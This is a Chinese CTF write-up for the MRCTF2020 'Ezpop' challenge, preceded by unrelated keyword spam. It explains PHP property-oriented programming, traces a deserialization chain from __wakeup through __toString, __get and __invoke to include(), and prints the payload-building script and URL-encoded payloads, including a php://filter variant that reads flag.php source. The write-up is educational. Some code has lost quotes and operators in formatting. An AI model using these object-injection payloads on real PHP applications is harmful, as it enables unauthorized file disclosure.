网站规划的特点,ps做网站头部的图,哪个网站可以做创意短视频,域名注册需要多久[MRCTF2020]Ezpop
题目是pop#xff0c;考的其实就是pop链#xff0c;可以自己先学学#xff0c;啥也不会QAQ
php反序列化之pop链_pop3.phpwelcome-CSDN博客 POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法#xff0c;与二进制利用…[MRCTF2020]Ezpop
题目是pop考的其实就是pop链可以自己先学学啥也不会QAQ
php反序列化之pop链_pop3.phpwelcome-CSDN博客 POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法与二进制利用中的面向返回编程Return-Oriented Programing的原理相似都是从现有运行环境中寻找一系列的代码或者指令调用然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的 说的再具体一点就是 ROP 是通过栈溢出实现控制指令的执行流程而我们的反序列化是通过控制对象的属性从而实现控制程序的执行流程进而达成利用本身无害的代码进行有害操作的目的。 感觉就是利用魔术方法达到自己的目的魔术方法可以理解成php函数的生命周期
看看这道题的源码
Welcome to index.php
?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {protected $var;public function append($value){include($value);}public function __invoke(){$this-append($this-var);}
}class Show{public $source;public $str;public function __construct($fileindex.php){$this-source $file;echo Welcome to .$this-source.br;}public function __toString(){return $this-str-source;}public function __wakeup(){if(preg_match(/gopher|http|file|ftp|https|dict|\.\./i, $this-source)) {echo hacker;$this-source index.php;}}
}class Test{public $p;public function __construct(){$this-p array();}public function __get($key){$function $this-p;return $function();}
}if(isset($_GET[pop])){unserialize($_GET[pop]);
}
else{$anew Show;highlight_file(__FILE__);
}然后开始分析
可以先看看读取文件的函数 highlight_file() 这道题的关键目的是为了得到flag.php所以思考怎么得到 可以看到Modifier类中有个append()方法将传入的参数进行包含 unserialize 会自动调用_wakeup 将source看成字符串但是source为对象的话触发_toString,
看看_toString函数将str的值赋值给source,如果str的值不存在就会触发_get方法 看看_get方法将Test类属性p的值赋值给function再将function当作函数进行输出所以又调用了_invoke Modifier类中的append()方法会将传入参数包含而此处的魔术方法_invoke将Modifier类中的var属性作为传入值来调用append()的函数所以这里将flag.php赋值给var
这里总结一下这整个pop链 反序列化unserialize - _wakeup - source为对象的话 — _toString - str的值不存在的话 - _get - 返回Test类中属性p的函数的调用结果 - 调用_invoke - include()包含目标文件flag.php
简单理解一下就构造一下payLoad
?php
class Modifier {protected $varflag.php;
}
class Show{public $source;public $str;
}
class Test{public $p;
}
$anew class Modifier;
$bnew class Show;
$cnew class Test;
//将Modifier类的值赋值给Test类中p属性触发_invoke
$c-p$a;
//赋值$b下的str为对象$c,触发_get
$b-str$c;
//source的值要为对象将上面赋值过的对象给$b-source触发_toString
$b-source$b;
echo urlencode(serialize($b));
?使用urlencode是为了编码private和protect属性防止他们序列化出来有%00截断
得到
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7D但是直接包含flag.php得不到flag需要读取flag.php中的源码 利用php伪协议来读取源码所以简单修改一下
protected $varphp://filter/readconvert.base64-encode/resourceflag.php;
得到
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7D将内容进行解码得到flag